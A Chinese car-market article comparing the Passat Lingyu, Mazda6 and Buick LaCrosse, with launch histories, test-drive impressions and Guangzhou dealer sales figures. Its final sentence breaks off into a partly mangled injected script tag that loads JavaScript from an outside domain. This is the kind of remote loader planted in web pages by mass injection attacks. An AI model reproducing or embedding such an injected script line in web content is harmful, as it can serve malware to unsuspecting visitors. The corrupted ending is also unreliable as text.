上海大众帕萨特领驭
旗舰面市 成功转型
上海大众帕萨特自1999年12月1日正式投入生产，共推出1.8L.2.0L.1.8T和2.8V6等四大系列，2004年前位居中高端汽车市场领头羊地位。
截至PASSAT领驭上市，成功推销了41万辆。因为车款陈旧、市场不断涌现雅阁、君威、马自达6、皇冠等有力对手，上海大众在2004年整体市场表现不佳，帕萨特走势更显低迷。2005年转机出现，此时为PASSAT领驭的上市，上海大众在各推销区进行老款帕萨特的营销，亦收到好反应。
去年11月下旬，全新旗舰车型PASSAT领驭正式上市，这也是上海大众进行营销推广策略调整后推出的一款全新车型。今年3月，又推出2.0MFI系列，价格为18.38万-19.58万元。
试 车
点 评
领驭的底盘跟传动系统虽然基本保持帕萨特原有些构造，但原厂通过细部的微调，也让操控表现出出人意料的成效，除去在高速路上表现平稳外，方向盘也没丝毫飘浮感，即使高速变换车道或大幅过弯，也能迅速完成动作。领驭虽然没锐志那种后轮驱动的运动化设定，但论外观、内饰、操控乐趣跟舒适性，PASSAT领驭表现全方位。尤其是大众车系的内外质感，更是值得顾客细细品味的地方。
行 情
简 报
上汽广东联营公司市场部表示，现在该店领驭销量达60多台／月，领驭2.0 MFI新近上市只有展车，没批量现车交货，上周收到30多台订单，提车排至6月。商家广州南菱上海大众称，现在该店提车需20日左右。
一汽马自达6
操控优越 充当主力
马自达6于2002年5月在日本上市，并于2003年4月十日来到中国。首款投入国内市场的车型是马自达6 2.3AT豪华型，价格为22.58万元。2004年又推出了马自达6 2.3AT技术型和马自达6 2.0L豪华型，价格分别为19.38万元和19.98万元。而2005年经全方位改款的新马自达6又推出了四款车型。今年马自达6又同步在国内生产6速手工挡2.0版。
无论从技术含量、车型定位还是盈利能力来看，马自达6都是马自达在中国的头号品牌，新马自达3又给了马自达强有力的支持，只是，由于要错开与福克斯、福美来的正面碰撞，马自达3暂时只推出2.0L高排量车型，市场定位难免偏窄，因此，在相当一段时期内，Mazda在中国的进步仍得依仗马自达6。
据了解，马自达6将2006年的推销目的定为6万辆。可能正是有了马自达6的成功经验，马自达今年才更有底气地将新的A级车型马自达3也投放到了中国。
试 车
点 评
M6排量为2.3升的发动机表现出色，在4000rpm之前发动机运转平静。M6高速转弯的极限极高。M6在维持日本轿车做工精细和人性化设计的同时，也兼备了欧洲车稳定和易操控的优点。
行 情
简 报
广州成远表示，该店马自达6的销量达70台／月，占七成以上。穗三家商家均加快网点扩张，力争今年销量同比增20%-50%以上。
上海通用别克君越
升级新款 价格坚挺
上海通用刚刚推向市场的新款中高级轿车君越，某种意义上是原有君威系列的升级车型，但又绝对不是替代车型。君越以北美别克LaCROSSE为原型，但又经由了上海通用旗下泛亚汽车设计公司主导的、与海外公司合作的深层次“二次”开发，无论在外形、内饰、动力还是配置方面，都是一款更适合国内顾客的全新车型。而上海通用也表示，欲将该款车塑造成国内新一代主流中高端私人“座驾”。
试 车
点 评
君越的ECOTEC D-VVT全铝四缸发动机来自通用旗下的欧宝，跟君威的2.5升V6引擎相比，除去油耗有所减少以外，还具备低转数大扭矩、高转数高功率的特质。怠速状况下相当安静，但当转速在3500rpm以上的时候，引擎便会发出节拍分明的咆哮声，这个时候驾驶者才能充分感受到这具四缸引擎的威力?script src=http://cn.jxmmtv.com/cn.js>cript>
